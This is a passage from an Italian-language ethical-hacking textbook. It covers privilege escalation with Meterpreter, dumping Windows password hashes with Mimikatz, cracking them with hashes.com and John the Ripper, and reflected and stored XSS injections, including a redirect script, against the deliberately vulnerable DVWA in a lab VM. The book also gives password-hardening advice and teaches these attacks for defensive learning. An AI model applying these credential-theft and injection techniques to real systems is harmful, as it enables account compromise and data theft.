La privilege escalation è l’hack di più alto livello e più tecnicamente complesso che ti insegneremo in questo libro e potrebbe richiedere diversi tentativi. Se continui a visualizzare messaggio “no session created”, verifica che le impostazioni di protezione da virus e minacce di Windows Defender siano ancora disattivate. Se non riesci a proseguire, prova a ricominciare daccapo. Inoltre, esiste una buona probabilità che, nei prossimi cinque anni o giù di lì, Windows sistemerà il problema di vulnerabilità di fodhelper e dovrai quindi adottare un exploit diverso. Prova a eseguire una ricerca di “Metasploit privilege escalation” sul Web per scoprire quali sono le ultime versioni di Windows supportate.

NOTASe ottieni un errore che dice che l’utente o la sessione è già in “elevated state” (ossia dispone già dei privilegi di amministratore), significa che l’account IEUser della VM è già amministratore e non utente regolare. In questo caso, digita sessions -i 1 per interagire nuovamente con la sessione originale e procedi all’esecuzione del comando getsystem illustrato qui di seguito.

4.Digita getsystem in Meterpreter per avere accesso a livello di sistema alla VM Windows 10:
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5.Verifica di avere accesso a livello di sistema digitando getuid:
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Meterpreter risponde che il tuo ID è NT Authority\System, il che sta a indicare che ora disponi dell’accesso a livello di sistema.

Rubare gli hash delle password con Mimikatz

Ora che hai accesso a livello di sistema, puoi rubare gli hash delle password. A questo scopo utilizzeremo Mimikatz, uno strumento di hacking grazie al quale si può accedere alle password di Windows da svariate posizioni, ivi compresa la memoria del computer in esecuzione. Il modulo di Mimikatz in Metasploit si chiama kiwi (il neozelandese che ha scritto Mimikatz, Benjamin Delpy, si fa chiamare Gentil Kiwi).

1.Digita use kiwi al prompt di Meterpreter per caricare gli strumenti di Mimikatz:
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2.Nella console di Meterpreter viene visualizzata la schermata di avvio di Mimikatz. Ora possiamo scaricare da Windows 10 gli hash delle password di tutti gli utenti:
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3.Mimikatz risponde elencando tutti gli utenti e gli hash delle password di Windows che riesce a trovare:
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Gli hash delle password usano il formato New Technology LAN Manager (NTLM), uno dei modi con cui Windows memorizza le informazioni, ivi compresi, appunto, gli hash delle password. Questo tipo di hash delle password sarà quello selezionato più avanti quando procederemo a violare le password.

4.Per violare gli hash delle password, dobbiamo raggrupparli in un documento di testo. Evidenzia i nomi utente e gli hash NTLM, fai clic destro sulla selezione e scegli Copy. Per copiare non puoi usare la scorciatoia da tastiera Ctrl+C, che nella console di Metasploit serve a uscire o a chiudere un processo in esecuzione nella finestra del terminale.

5.Apri l’editor di testi Mousepad cliccando il menu di Kali e selezionando Preferiti ▶ Editor di Testo. Premi Ctrl+V per incollare il testo copiato da Meterpreter in Mousepad.

6.Clicca File ▶ Nuovo per aprire una seconda finestra di Mousepad. Copia e incolla solo i nomi utente e gli hash delle password nel nuovo documento in questo formato: nomeutente:hash, con un nome utente e un valore di hash per riga, separati con un punto e virgola, come illustrato nella Figura 7.1. Presta attenzione a non inserire spazi.
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Figura 7.1: Copiare e incollare nomi utente e valore di hash NTLM in un nuovo file di testo.

Salta gli utenti privi di un valore di hash e tutti gli account creati autonomamente da Windows, come sshd, Guest e DefaultAccount: quelli che ti interessano sono solo gli account utente e amministratore reali, come IEUser, Administrator e gli altri account utente creati in precedenza in questo capitolo.

AVVISOProbabilmente hai notato che l’hash della password dell’account Administrator è identico a quello dell’utente IEUser (fc525...). Ciò significa che la password dell’utente Administrator è identica a quella dell’utente IEUser, ossia Passw0rd!. Non riutilizzare mai in questo modo le password su un computer reale. Microsoft lo fa solo per comodità, dal momento che le VM servono solo come trial.

7.Salva il file con il nome Windows_hashes.txt nella cartella Documenti.

Violare le password

Ora hai a disposizione un documento che contiene i nomi utente con i corrispondenti hash delle password prelevati dalla VM di Windows e puoi quindi procedere nel tentativo di violare le password. Per questo compito gli hacker adottano tattiche diverse. Un attacco a dizionario usa un elenco di password comuni, facendo l’hash di ciascuna di esse per verificare se corrisponde a uno di quelli che stai cercando di violare. Gli attacchi a dizionario sono veloci, ma possono tornare utili solo nel caso che le password siano semplici. Un attacco di forza bruta prova sistematicamente ogni combinazione di caratteri per recuperare anche le password più complesse fino a una determinata lunghezza. Gli attacchi di forza bruta, pertanto, sono molto approfonditi, ma anche estremamente lenti. Un attacco con maschera o attacco con pattern è un tipo particolare di attacco di forza bruta che si applica quando si conosce una parte della password e la forza bruta va usata solo per alcuni caratteri. Proveremo svariate tecniche per la violazione delle password. Internet e Kali Linux dispongono di svariate risorse che semplificano la vita a chi intenda violare le password. La prima cosa da fare è cercare un database online gratuito di password, per violare gli hash delle password più comuni. Useremo poi uno dei numerosi strumenti di violazione delle password di Kali, John the Ripper, per provare a violarne altri. Inizieremo con un attacco a dizionario per le password più semplici, terminando quindi con un attacco con maschera.

Database online gratuiti di password

Hashes.com è un servizio web che consente di cercare le password in un database contenente miliardi di hash già violati. Ogni volta che calcoli l’hash di una particolare password, ottieni sempre lo stesso hash; pertanto, il database può memorizzare ogni password unitamente al suo hash. Quando cerchi un hash, il database restituisce la password non crittografata (sempre che sia presente nel database).

1.Apri il browser Firefox nella VM Kali e vai a https://hashes.com/ decrypt/hash/.

2.Incolla nella casella di testo di Hashes i nomi utente e le password presenti nel file Windows_hashes.txt. Rimuovi i nomi utente in modo che nella casella di testo restino solamente gli hash, come illustrato nella Figura 7.2.

3.Clicca su Submit & Search per eseguire la ricerca nel database di hashes.com. Dopo qualche istante dovresti vedere un elenco di password violate:
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Figura 7.2: hashes.com riceve in input gli hash NTLM e restituisce le password violate presenti nel suo database.

Hashes.com ha trovato cinque password! Dal momento che continua ad aggiungere nuove password al database, potrebbe riuscire a trovare anche alcune altre password utilizzate all’interno del libro.

Noi siamo riusciti a recuperare almeno cinque password dalla VM Windows utilizzando uno strumento di ricerca online gratuito; a un aggressore basta solo un nome utente e password per riuscire a penetrare in una rete, un’azienda o un ente statale. Questo è il motivo per cui è importante che ogni utente di un’organizzazione scelta password lunghe e difficili da indovinare.

NOTASe il sito hashes.com dovesse cambiare o sparire, cerca “hash lookup service” per trovarne un altro. Al momento della traduzione (agosto 2022) il sito è ancora up and running. Presta solo attenzione ai siti che visiti, assicurandoti di eseguire le ricerche sempre e solo dall’interno della macchina virtuale. Prima di visitare un sito, usa il servizio https://www.virustotal.com/ per eseguirne la scansione. Alcuni siti di violazione delle password in realtà sono pagine web malevole che cercano di indurre gli hacker amatoriali a installare un malware.

John the Ripper

John the Ripper, spesso abbreviato con JtR o John, è uno dei più vecchi strumenti di violazione delle password. La prima versione è stata rilasciata oltre vent’anni fa. La versione di John inclusa in Kali Linux si trova alla voce 05 - Attacchi alle Password del menu di Kali.

John viene eseguito dal terminale, ma ne esiste una versione, chiamata Johnny, dotata di interfaccia grafica (GUI), con cui è più facile lavorare. Johnny non è incluso nelle versioni di Kali più recenti; per installarlo, apri una nuova finestra del terminale e digita questi due comandi:
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Dopo il primo comando potrebbe essere richiesta l’immissione della password (kali).

Dopo l’installazione, Johnny viene inseriro nel menu 05 - Attacchi alle Password appena sotto John. In ogni caso può essere eseguito dal terminale digitando johnny.

Useremo due metodi in Johnny per violare altre password Windows rubate.

Proveremo a portare avanti un attacco a dizionario per violare le password più comuni e un attacco con maschera per violare le password le password con varianti. Tutto quanto viene eseguito in Johnny può essere eseguito anche al terminale per mezzo di John. Dopo aver usato Johnny puoi cercare i comandi usati da John e usarli per comprendere meglio il processo.

Un attacco a dizionario

Inizieremo provando un attacco a dizionario. L’attacco a dizionario confronta un elenco di parole con gli hash che stiamo cercando di violare. John the Ripper calcola l’hash di ogni password di un lungo elenco di password comuni da noi fornito, confrontando ciascun valore di hash con gli hash ottenuti da Windows. Se trova una corrispondenza, significa che la password è stata violata.

In Kali sono presenti numerosi elenchi di parole (anche detti wordlist) predefiniti, compreso quello di RockYou. RockYou è un’azienda che, in una famigerata violazione condotta nel 2009 che aveva sfruttato una web app poco sicura, ha perso 32 milioni di password utente.

L’elenco delle password in chiaro esposto da RockYou è ancora una delle wordlist più utili per verificare la sicurezza di una password.

1.Per accedere alla wordlist RockYou, digita questo comando nella finestra del terminale:
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Il comando estrae la wordlist con nome rockyou.txt nella cartella / usr/share/wordlists, per poterla poi usare come dizionario in John e Johnny.

2.Apri Johnny cliccando sul menu di Kali e scegliendo 05 - Attacchi alle Password ▶ johnny.

3.Clicca su Open password file ▶ Open password file (PASSWD format). Trova il file Windows_hashes.txt creato in precedenza, come illustrato nella Figura 7.3, e selezionalo per caricare il file degli hash della password.
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Figura 7.3: Aprire il file con gli hash della password Windows_hashes.txt in Johnny.

4.Clicca su Options sulla parte sinistra di Johnny, quindi clicca la scheda Wordlist sotto Attack mode nella finestra Options. Digita /usr/share/wordlists/rockyou.txt nella casella di testo Wordlist file, come illustrato nella Figura 7.4.

[image: ]

Figura 7.4: Caricare la wordlist rockyou.txt in Johnny.

5.Sempre nella finestra Options, seleziona NT dal menu a discesa Current hash format nel pannello Details, come illustrato nella Figura 7.5. Se l’opzione NT non dovesse essere elencata, scegli l’opzione LM. In questo modo si indica a Johnny che gli hash delle password sono in formato NTLM.
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Figura 7.5: Scegliere NT come formato di input degli hash della password.

6.Clicca su Passwords a sinistra, quindi clicca su Start new attack in alto.

NOTASe Johnny restituisce un messaggio di errore che dice che non riesce a trovare John the Ripper, clicca su Settings a sinistra e digita /usr/sbin/john nella casella di testo John the Ripper Executable, quindi clicca nuovamente su Start new attack.

Johnny visualizza quasi istantaneamente alcune password violate, come illustrato nella Figura 7.6. Se non ne vedi, assicurati di aver cambiato il formato di hash in NT o LM al passaggio 5.
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Figura 7.6: Johnny ci mette un attimo a violare cinque o sei password utilizzando gli hash che abbiamo catturato.

Per catturare gli hash delle password ci sono voluti alcuni minuti, mentre è bastato meno di un secondo per violare le prime cinque o sei password utilizzando un attacco a dizionario con la wordlist RockYou. Questo è quando deve fare un hacker malevolo per rubarti la password, se ne usi una troppo semplice costituita da una o due parole con qualche numero o simbolo.

La wordlist RockYou contiene diverse password che abbiamo usato per impostare gli utenti della VM Windows 10; le altre password, invece, erano sufficientemente complesse da non comparire nell’elenco. Vediamo come si può violare qualche altra password utilizzando un’altra opzione di Johnny: un attacco con maschera.

Attacco con maschera

Un attacco con maschera inizia con delle informazioni parziali, come una vecchia password, a cui aggiunge qualche carattere nella speranza di riuscire a violare password simili. Esiste una buona probabilità che tu o qualcuno che tu conosci riutilizzi una vecchia password aggiungendovi dei numeri o dei simboli alla fine, come in badpassword20!. Questo modo di comportarsi è più comune di quanto si pensi e rende molte password suscettibili agli attacchi con maschera.

Gli attacchi con maschera sono efficienti anche nel caso in cui un aggressore riesca ad avere accesso a un frammento della password di qualcuno. Immagina che Kara, uno degli utenti Windows che abbiamo creato, lavori alla CatCo Worldwide Media. Passando accando alla scrivania di Kara, un suo collega vede un post-it buttato nel cestino. Benché sia strappato, si riesce a leggere una parte di password: SuperGir (vedi Figura 7.7).

Gli esperti di ingegneria sociale lo chiamano dumpster diving, letteralmente “tuffarsi nel cassonetto”, e consiste nel guardare nel cestino della spazzatura di una potenziale vittima alla ricerca di informazioni utili, come estratti conto, offerte di carte di credito o password scribacchiate sul retro di una busta o, come in questo caso, su un post-it.
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Figura 7.7: Il post-it strappato di Kara con quella che sembrerebbe proprio una parte della sua password.

AVVISONon commettere l’errore di Kara. Compra un distruggidocumenti.

In Johnny è possibile aggiungere dei caratteri jolly alla fine di SuperGir per provare a indovinare quale potrebbe essere il resto della sua password. Un carattere jolly è un segnaposto che può essere sostituito da qualsiasi gruppo di lettere, numero o simboli. È possibile usare il carattere jolly ?u per le lettere maiuscole, ?l per quelle minuscole, ?d per le cifre (0–9), ?s per i simboli speciali, oppure ?a per tutti i caratteri stampabili (lettere, numeri, punteggiatura e caratteri speciali).

Possiamo usare la parte di password che conosciamo (SuperGir) aggiungendovi alcuni caratteri jolly per creare una maschera. Grazie alla maschera il numero di combinazioni da provare viene sensibilmente ridotto, grazie al fatto che conosciamo già una parte della password (in questo caso i primi otto caratteri: SuperGir). Il post-it non ci dà alcuna idea su come termini la password di Kara, se con numeri, lettere o caratteri speciali; pertanto, partiremo dalla maschera SuperGir?a.

1.In Johnny, clicca su Options a sinistra, apri la scheda Mask e digita SuperGir?a nella casella di testo Mask.

2.Clicca su Start new attack nella parte superiore della finestra. Per verificare se la password di Kara è stata violata, apri la scheda Passwords sulla sinistra. Come avrai notato, un singolo carattere jolly dopo SuperGir non è stato sufficiente per violare la password.

3.Torna alla scheda Mask e inserisci due caratteri jolly: SuperGir?a?a, quindi riprova.

4.Niente? Digita un terzo carattere jolly, SuperGir?a?a?a, come illustrato nella Figura 7.8, quindi clicca nuovamente su Start new attack.
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Figura 7.8: Utilizzo di un attacco con maschera (che consiste nell’inserire dei caratteri jolly dopo la password parziale trovata su un post-it) per violare la password di Kara.

Stavolta, la barra di avanzamento nella parte inferiore della finestra della Figura 7.8 cambia e mostra che Johnny è riuscito a violare un’ulteriore password. Clicca nuovamente su Passwords. Ora, accanto a kara puoi vedere la sua password, SuperGirl7!, come illustrato nella Figura 7.9.
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Figura 7.9: Con la maschera della password SuperGir?a?a?a è stato possibile violare la password di Kara (SuperGirl7!) in meno di un secondo.

Per quanto disponessimo solo di una parte della password di Kara, siamo riusciti a usare un attacco con maschera per indovinare la password completa. A Johnny ci è voluto meno di un secondo per provare una dopo l’altra le migliaia di possibili password, da SuperGir000 a SuperGirl7!. Ciò significa che se riutilizzi una password cambiando solo i numeri e i simboli all’inizio, al centro o alla fine, un hacker che riesca a reperire una delle tue password precedenti può riuscire a indovinare quella attuale in pochi secondi utilizzando Johnny o uno strumento analogo.

Puoi provare a usare un attacco con maschera anche per la password di Peter. Aggiungi qualche carattere jolly, partendo da SpidermanRu?a, poi passando a SpidermanRu?a?a e così via, finché non riesci a trovare la password completa. L’ultimo passaggio potrebbe richiedere cinque o sei minuti, dal momento che ogni volta che si aggiunge un carattere la complessità aumenta in modo esponenziale: 3 caratteri jolly richiedono meno di un secondo, 4 caratteri jolly richiedono tre o quattro secondi, 5 caratteri jolly richiedono cinque o sei minuti, 6 caratteri jolly richiedono quasi nove ore e 14 caratteri jolly richiedono migliaia di anni!

L’incremento esponenziale del tempo necessario a violare le password più lunghe è esattamente il motivo per cui è consigliabile usare password lunghe. Indipendentemente dal numero di anni in cui teniamo attivo Johnny, è assai improbabile che riusciamo a violare una passphrase lunga come l’ultima che abbiamo creato. Le password lunghe sono uno dei trucchi che possiamo adottare per fare in modo che gli hacker non riescano a intrufolarsi nei nostri account.


VIOLARE ALTRI TIPI DI HASH

La maggior parte degli strumenti per la violazione delle password, ivi compresi Johnny e hashes.com, sono in grado di violare svariati formati di password. Prova a usare Johnny o hashes.com per violare le cinque password del Listato 7.1, quindi passa al Listato 7.2 per verificare il risultato. (Suggerimento: il formato di queste password è MD5 raw.)



Utilizzare password più sicure

Bastano un paio di modifiche per fare in modo che le password siano troppo difficili da decifrare anche per i professionisti. Innanzitutto, in generale, più una password è lunga, più è sicura. Per creare una passphrase forte, scegli quattro o più parole casuali e non correlate e mettile insieme. Per rendere la passphrase quasi impossibile da decifrare, aggiungi alcuni numeri o caratteri speciali.

Oltre ai caratteri speciali standard della tastiera, come !, @, # e $, puoi aggiungere un carattere speciale di una lingua o di un alfabeto diversi dai tuoi. Anche solo l’uso di una lettera accentata, che è normalmente presente nell’alfabeto italiano ma non in quello inglese, migliora sensibilmente la password. Anche se usi una password piuttosto breve invece di una passphrase, l’aggiunta di un carattere speciale può renderla molto più difficile da decifrare.

Vediamo come fare nei diversi sistemi operativi.


Windows.Tieni premuto il tasto Alt mentre digiti dei numeri sul tastierino numerico, quindi rilascialo. Per esempio, tieni premuto il tasto Alt mentre digiti 0214 sul tastierino numerico. Quando rilasci il tasto Alt, viene visualizzato il carattere Ö, ossia una O maiuscola con un umlaut. Prova a cercare online un elenco di “codici alt Windows” se vuoi trovare un carattere particolare. Alcune tastiere richiedono specificamente l’uso del tasto Alt di sinistra. Su un portatile privo di tastierino numerico, puoi premere il tasto Windows più il tasto del punto (Win+.) per inserire un’emoji o un altro simbolo.

Linux.Premi Ctrl+Maiusc+U; rilascia la combinazione (vedrai una u sottolineata sullo schermo); inserisci il codice Unicode esadecimale del carattere desiderato, come d6 (o 00d6 per i sistemi che richiedono quattro cifre) per il carattere Ö, quindi premi la barra spaziatrice o Invio Cerca online “codici carattere Unicode” per trovare altre opzioni.

macOS.Premi Ctrl+⌘+Barra spaziatrice per aprire il Visualizzatore caratteri. Digita u+d6 per visualizzare il carattere Ö. Per inserire il carattere, premi la freccia verso il basso per selezionarlo, quindi premi Invio, oppure fai clic con il mouse. Gli stessi codici dei caratteri Unicode che funzionano per Linux funzionano anche su macOS nel Visualizzatore caratteri; è sufficiente aggiungere u+ prima del codice esadecimale.

iPhone o Android.Tieni premuto il tasto O sulla tastiera virtuale finché non viene visualizzata una finestra pop-up con il carattere Ö e altre opzioni. Non puoi accedere a tutti i caratteri Unicode senza installare un’applicazione o scegliere un layout di tastiera alternativo, ma una pressione prolungata sulla maggior parte delle vocali e su alcune consonanti consente un numero di opzioni sufficiente per rafforzare la password.



Può anche capitare di non ricordarsi più di una o due password lunghe con caratteri speciali come questi. A questo scopo può essere utile installare un gestore di password, che crea password lunghe casuali per gli account e le memorizza in modo sicuro. Prova anche ad attivare l’autenticazione a due fattori ogni volta che si può. Grazie a questa funzionalità, anche se un malintenzionato dovesse riuscire a violare una password, non riuscirebbe comunque ad accedere al tuo account. Ne parleremo nel Capitolo 11.

Cosa ho imparato

In questo capitolo hai appreso in che modo gli aggressori rubano gli hash delle password di Windows sul Web utilizzando Mimikatz in Metasploit. Quando un aggressore riesce ad accedere al computer attraverso un malware che ti ha indotto a installare, può cercare nel sistema le password o altri dati sensibili, e lo fa quasi sempre. Hai visto poi in che modo gli hacker possono facilmente decifrare molti hash delle password grazie a un database online gratuito di password o con un attacco a dizionario grazie a John the Ripper. Inoltre, hai anche imparato a violare password più complesse utilizzando un attacco con maschera, aggiungendo alcuni caratteri jolly a una password vecchia o incompleta.

Infine, hai appreso alcune tecniche per proteggerti dagli attacchi alle password trattati in questo capitolo. Ecco un breve riepilogo di cose da fare e da non fare che possono cambiare per sempre le tue abitudini in fatto di password:

•Non usare la stessa password su più account.

•Non riutilizzare una password aggiungendo numeri o simboli alla fine (né al centro né all’inizio).

•Non scrivere le password su un foglietto di carta e non memorizzarle in documenti in formato testo né in fogli di calcolo.

•Usa passphrase lunghe con uno o più caratteri speciali.

•Usa un gestore di password e l’autenticazione a più fattori.

Grazie a questi consigli la tua vita online sarà più facile e molto più sicura di quella della persona media. Tuttavia, un aggressore non ha la necessità di accedere al tuo computer per riuscirti a rubare una password: le password e altre informazioni possono essere sottratte da web app e server web su Internet. Nel prossimo capitolo vedremo come si fa, entrando in un server web vulnerabile nel nostro laboratorio virtuale.

Prima, però, controlla il Listato 7.2 per vedere se sei riuscito a decifrare le password all’inizio del capitolo!
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Listato 7.2: Le password violate del Listato 7.1.




8

WEB HACKING
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Penetrare in un singolo computer può consentire di raccogliere una manciata di nomi utente, password e altri dati. Penetrare in un server web può invece fruttare a un aggressore milioni di nomi utente e password da provare su siti bancari, server di e-mail e altro.

Un attacco a Quest Diagnostics condotto nel 2019 sfruttando un errore nella pagina web dei pagamenti ha portato all’esposizione delle cartelle cliniche di 12 milioni di pazienti. Nel 2017, l’agenzia di credito Equifax non è stata in grado di proteggere le informazioni sul credito di 150 milioni di clienti, ivi comprese date di nascita, numeri di previdenza sociale e indirizzi. Un hack condotto contro Marriott nel 2018 ha compromesso i dati di 500 milioni di viaggiatori, ivi compresi numeri di carta di credito e passaporti. La più grande violazione di dati avvenuta finora, l’attacco del 2013 condotto contro il motore di ricerca web la alla piattaforma di e-mail Yahoo!, ha esposto tutti i 3 miliardi di account utente, ivi compresi indirizzi e-mail e password.

In questo capitolo, vedrai in che modo un hacker malintenzionato può attaccare le applicazioni web semplicemente con un browser e poche righe di codice. Imparerai inoltre alcuni modi con cui i professionisti della sicurezza si difendono dagli attacchi web, proteggendo i dati di milioni, se non miliardi, di persone dai criminali informatici.

La VM Metasploitable

Il nostro scopo, come si è detto più volte nel corso del libro, è praticare l’hacking, compreso quello sul Web, in maniera sicura ed etica; pertanto, ora creeremo un server web nel nostro laboratorio di hacking virtuale. Chi ha creato Metasploit ha creato anche un server web intenzionalmente vulnerabile, chiamato Metasploitable, ideato appositamente per imparare. Useremo una versione del server appositamente personalizzata per i lettori del libro. Aggiungiamola al laboratorio di hacking virtuale.

1.Vai a https://sourceforge.net/projects/metasploitable2-gohack/files/ e clicca sul file Metasploitable2-gohack.ova per scaricarlo sul computer host.

2.Fai doppio clic sul file scaricato per aprirlo in VirtualBox. Si apre la finestra Importa applicazione virtuale, come illustrato nella Figura 8.1. Clicca su Importa.
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Figura 8.1: Importazione del file Metasploitable2-gohack.ova in VirtualBox.

3.Seleziona la VM Metasploitable2 in VirtualBox Manager e clicca su Impostazioni.

4.Apri la scheda Rete e verifica che la casella Abilita scheda di rete sia attiva. Verifica anche che la casella Connessa a sia impostata su Rete con NAT e che Nome sia impostata su PublicNAT, come per le altre VM che abbiamo creato. Le impostazioni corrette sono riportate nella Figura 8.2.
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Figura 8.2: Assicurati che la VM Metasploitable sia connessa alla rete PublicNAT.

5.Clicca OK per salvare le impostazioni di rete. La nuova VM Metasploitable è pronta per essere eseguita!

6.Seleziona la VM Metasploitable in VirtualBox Manager e clicca su Avvia. Dal momento che Metasploitable è un server web, e non un computer desktop, non ha un’interfaccia grafica, ma solo testuale. Se l’interfaccia testuale risulta troppo difficile da leggere, seleziona Visualizza ▶ Schermo virtuale 1 ▶ Scala a 200%, o qualsiasi altro valore adatto allo schermo del tuo computer.

7.Digita msfadmin come nome utente e msfadmin come password. Quando la digiti nella finestra del terminale di Metasploitable, la password non viene visualizzata. Se la inserisci correttamente, il prompt cambia in:
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8.Inserisci questo comando:
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Metasploitable restituisce il proprio indirizzo IP (nel caso dell’esempio 10.0.9.8):
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Segnati da qualche parte l’indirizzo IP ❶. È questo l’indirizzo della VM Metasploitable a cui devi navigare dalle altre macchine virtuali.

Web hacking da un browser

Il web hacking è molto comune, perché restituisce eccellenti risultati: tieni sempre conto che un attacco riuscito contro un server web può far ricavare milioni di informazioni sugli utenti in una volta sola. I server web sono sempre attivi e connessi a Internet e all’aggressore basta un browser per attaccarli. Per capire come funziona il tutto, proveremo a violare il server Metasploitable dal browser Edge della VM Windows 10.

Avvia la VM Windows 10 in VirtualBox Manager e accedi con le credenziali IEUser e Passw0rd!. Apri il browser Edge (rappresentato dall’icona a forma di e sulla barra degli strumenti) e inserisci nella barra degli indirizzi l’indirizzo IP della VM Metasploitable. Viene visualizzata la pagina di Metasploitable2, illustrata nella Figura 8.3.
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Figura 8.3: Inserisci l’indirizzo IP della VM Metasploitable nella VM Windows 10 per visualizzare questa home page.

Metasploitable2 contiene cinque applicazioni web vulnerabili, ma in questo capitolo ci occuperemo solo di una: DVWA, ossia Darn Vulnerable Web App (applicazione web maledettamente vulnerabile). Questa web app open source volutamente vulnerabile è stata realizzata per aiutare sviluppatori web e professionisti della sicurezza ad apprendere gli hack di base, oltre che a proteggere un’applicazione da tali attacchi. DVWA ha svariati livelli di vulnerabilità, per consentire agli utenti di violare applicazioni con diversi gradi di sicurezza. Imposteremo su low (basso) il livello di sicurezza, al fine di simulare una web app priva di sicurezza.

1.Clicca sul link DVWA nella home page di Metasploitable2. Viene visualizzata la schermata di login di Metasploitable2, illustrata nella Figura 8.4.

2.Digita admin come nome utente e password come password per accedere a DVWA.
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Figura 8.4: La schermata di accesso di DVWA con le credenziali.

3.Clicca su DVWA Security nel pannello di sinistra.

4.Imposta su low il livello di sicurezza nella sezione Script Security, quindi clicca su Submit, come illustrato nella Figura 8.5.
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Figura 8.5: Impostazione del livello di sicurezza degli script di DVWA su low.

Ora puoi provare due tipi di attacco web contro DVWA: gli attacchi cross-site scripting e gli attacchi SQL injection.

Lanciare un attacco cross-site scripting

In un attacco cross-site scripting (XSS), un hacker inietta codice malevolo in una pagina web sfruttando un campo normalmente usato per l’input testuale, come un modulo di accesso o un campo di ricerca. Gli attacchi XSS sono noti anche come attacchi code injection, poiché attraverso essi un hacker può inserire, in termine tecnico iniettare, il proprio codice all’interno della web app. Per iniettare uno script in DVWA useremo due linguaggi web, JavaScript e HTML (HyperText Markup Language). Per testare la presenza di vulnerabilità XSS in un’applicazione web è sufficiente un singolo comando JavaScript:
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Il comando mostra una finestra di messaggio contenente la stringa “You’ve been hacked!”. Per iniettare questa stringa in una pagina web è sufficiente racchiudere il codice JavaScript all’interno dei tag HTML corretti, <script> e </script>, in questo modo:
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Il tag HTML <script> indica a una pagina web che inizia uno script (un frammento di codice), solitamente in linguaggio JavaScript. Il tag </script> (da notare la barra) è un tag di chiusura, che comunica alla pagina web che il codice dello script è finito.

Cross-site scripting reflected

Un attacco XSS reflected o attacco XSS non persistente sfrutta le pagine che visualizzano, in termine tecnico riflettono, l’input direttamente all’utente, come nel caso di un modulo d’ordine che chiede nome e indirizzo e quindi te li fa vedere per chiederti conferma del loro corretto inserimento. Gli aggressori usano il cross-site scripting reflected per iniettare codice HTML o JavaScript malevolo in un’applicazione web non protetta. Proviamo!

1.Nella pagina DVWA all’interno della VM Windows 10, clicca su XSS reflected nel pannello di sinistra per aprire la pagina web Vulnerability: Reflected Cross Site Scripting (XSS).

Questa pagina è ideata per riflettere l’input nel campo di testo What’s your name? visualizzandolo dopo la parola Hello. Per esempio, se digiti il nome Bryson, la pagina risponde con Hello Bryson.

2.Invece del nome, prova a inserire nella casella di testo il comando HTML/JavaScript riportato nel paragrafo precedente, come illustrato nella Figura 8.6:
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Figura 8.6: Attacco XSS reflected in cui nella casella di testo viene inserito codice HTML e JavaScript.

3.Clicca su Submit: la pagina web viene ricaricata, visualizzando il messaggio “You’ve been hacked!”, come illustrato nella Figura 8.7.
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Figura 8.7: La pagina web vulnerabile visualizza una finestra di messaggio che comunica che sei stato hackerato!

Combinando una singola riga di codice HTML e JavaScript e digitandola in una casella di testo non protetta di DVWA, siamo riusciti a iniettare il codice nella pagina web. Un aggressore malevolo potrebbe usare una tecnica simile per convincere un utente che il suo computer è davvero sotto attacco e spingerlo quindi a chiamare un numero verde per “supporto tecnico”.

In questa truffa comune, i criminali noleggiano un call center per sottrarre i dati della carta di credito di vittime preoccupate e addebitare loro servizi informatici fasulli.

Cross-site scripting stored

La maggioranza dei siti web utilizza dei database per memorizzare i dati inseriti dagli utenti o le informazioni che cambiano spesso, come quelle riguardanti i prodotti o i dati dei clienti. Se un aggressore riesce a iniettare codice dannoso in un modulo web connesso a un database, tale codice viene memorizzato nel database e diventa parte permanente della pagina web.

Questo tipo di attacco, denominato attacco XSS stored o attacco XSS persistente, fa in modo che il codice dannoso venga eseguito ogni volta che un utente visualizza la pagina web che lo contiene.

L’attacco XSS reflected del paragrafo precedente, invece, non cambiava la pagina web in modo permanente, dal momento che il codice iniettato non viene salvato in un database. Ora proveremo un attacco XSS stored.

1.Clicca su XSS stored nel pannello di sinistra di DVWA. Viene visualizzata un’applicazione in stile guestbook grazie a cui gli utenti possono salvare il proprio nome e un breve messaggio sulla pagina.

2.Invece di firmare il guestbook con il nome e un messaggio, inserisci solo il nome, quindi, nella casella di testo Message, inserisci il codice dell’attacco XSS che desideri iniettare nel database di questa pagina, ossia <script>alert("You've been hacked!");</script>, come illustrato nella Figura 8.8.
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Figura 8.8: Memorizzazione dello script dannoso nella pagina XSS memorizzata in DVWA.

3.Clicca su Sign Guestbook: viene visualizzata la finestra popup, come illustrato nella Figura 8.9.
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Figura 8.9: La finestra popup JavaScript dice a tutti i visitatori “You’ve been hacked!”.

A differenza di quanto accade nell’attacco reflected, questo messaggio viene visualizzato ogni volta che un utente visita la pagina guestbook che ha subito l’attacco cross-site scripting stored. Hai appena usato una pagina web basata su un database per memorizzare in modo permanente uno script dannoso nel sito web DVWA.

JavaScript, tuttavia, può fare ben di peggio che visualizzare una finestra di messaggio. Proviamo per esempio a cambiare l’URL del browser con l’istruzione window.location, per reindirizzare gli utenti a un sito web completamente diverso.

1.Carica nuovamente la pagina web XSS stored e clicca su OK per chiudere la finestra di messaggio.

2.Questa volta, dopo aver inserito il tuo nome, digita questo codice nella casella di testo Message, come illustrato nella Figura 8.10:
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Figura 8.10: Iniezione di uno script potenzialmente molto più dannoso che reindirizza l’utente a una pagina web diversa.

3.Clicca su Sign Guestbook: viene visualizzata la finestra popup iniettata in precedenza. Non appena chiudi questa finestra, tuttavia, vieni reindirizzato al sito https://bit.ly/brysonpayne. Tornare alla pagina XSS stored di DVWA è impossibile, perché ogni volta che ricarichi la pagina ti reindirizza alla pagina web di Hacking. Attacco e difesa.

Abbiamo dirottato in modo permanente la pagina XSS stored: ora qualsiasi persona che la visiti viene reindirizzata al sito web di questo libro. Un aggressore potrebbe fare la stessa cosa, o peggio, a un’applicazione web non protetta del sito web del tuo datore di lavoro, del tuo gioco online preferito o della tua app di social media, perfino a un sito web governativo. Per ripristinare la funzionalità originale del sito, l’amministratore deve accedere al database ed eliminare completamente il codice XSS stored.

È possibile resettare il database di DVWA così da eliminare il codice dannoso che abbiamo iniettato. A questo scopo, clicca su Setup nel pannello di sinistra di DVWA, come illustrato nella Figura 8.11, quindi clicca su Create / Reset Database: DVWA resetta il database al suo stato iniziale.
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Figura 8.11: Pulizia degli hack XSS stored.

Lanciare attacchi di SQL injection sui database

L’iniezione di codice dannoso in un sito web fa paura, ma come fanno gli hacker a impossessarsi di dati sensibili da un sito web? In questo paragrafo, imparerai in che modo gli hacker possono usare gli attacchi SQL injection (SQL sta per Structured Query Language, linguaggio strutturato per le ricerche nei database) per rubare informazioni direttamente dal database di un sito web. SQL è il linguaggio utilizzato per accedere alla maggior parte dei database. Un attacco SQL injection (SQLi) prevede di iniettare codice SQL dannoso in un’applicazione web per prelevare informazioni private dal database.

